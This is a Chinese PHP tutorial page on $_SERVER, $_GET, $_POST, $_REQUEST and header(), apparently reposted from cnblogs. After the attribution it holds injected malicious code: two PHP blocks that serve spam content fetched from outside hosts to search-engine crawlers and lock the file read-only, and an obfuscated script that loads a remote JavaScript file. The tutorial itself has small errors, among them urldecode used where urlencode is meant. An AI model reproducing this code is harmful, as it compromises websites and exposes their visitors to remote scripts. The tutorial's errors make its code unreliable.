$_REQUEST变量数组header()函数

$_SERVER 包含http信息头,路径和服务器端的一些信息,没发送一次HTTP请求,就会创建一个$_SERVER数组
Array
  (
    [HTTP_HOST] => localhost
    [HTTP_REFERER] => 从那个链接过来
    [SERVER_NAME] => localhost
    [SERVER_ADDR] => 127.0.0.1
    [SERVER_PORT] => 80

    [REMOTE_ADDR] => 127.0.0.1
    [DOCUMENT_ROOT] => C:/wamp/www/
    [REMOTE_PORT] => 11642

    [REQUEST_METHOD] => GET

    [REQUEST_URI] => /study/page.php?page=2&name=dujie
    [QUERY_STRING] => page=2&name=dujie

    [SCRIPT_FILENAME] => C:/wamp/www/study/Page.php
    [SCRIPT_NAME] => /study/page.php
    [PHP_SELF] => /study/page.php
    [REQUEST_TIME] => 1436345404
  )

$_GET
  通过url传参给当前脚本的变量数组,传中文时会出现乱码
解决:
  使用urlencode($string) 进行编码,然后在脚本里使用 urldecode($_GET['name']),进行解码
例:
$str=urldecode('北京');
<a href="a.php?name=".$str>北京</a>
echo urldecode($_GET['name']);

$_POST
  通过表单传参http传递给当前脚本的变量数组 无乱码问题

小技巧
  ? 号传值
<a href="">本页面</a>
<a href="?"> 表示清除传参 返回首页 index

$_REQUEST
  包含$_GET $_POST $COOKIE传递的信息数组
判断GET/POST提交?
if($_SERVER[REQUEST_METHOD]=='post')

header()函数
@1 设置输出头
  header("Content-type:text/html;charset=utf-8");
@2 重定向操作
  header("Location:http://www.baidu.com");
@3 强制用户访问这个页面时获取最新资源,而不是使用存在客户端的缓存
  header("Expires: Mon, 26 Jul 1970 05:00:00 GMT");
//告诉浏览器此页面的过期时间(用格林威治时间表示),只要是已经过去的日期即可。
@4 指定时间重定向页面
  header("refresh:3;url=http://www.baidu.com");

转载于:https://www.cnblogs.com/jiechn/p/4664448.html

<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
最新发布
06-12
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值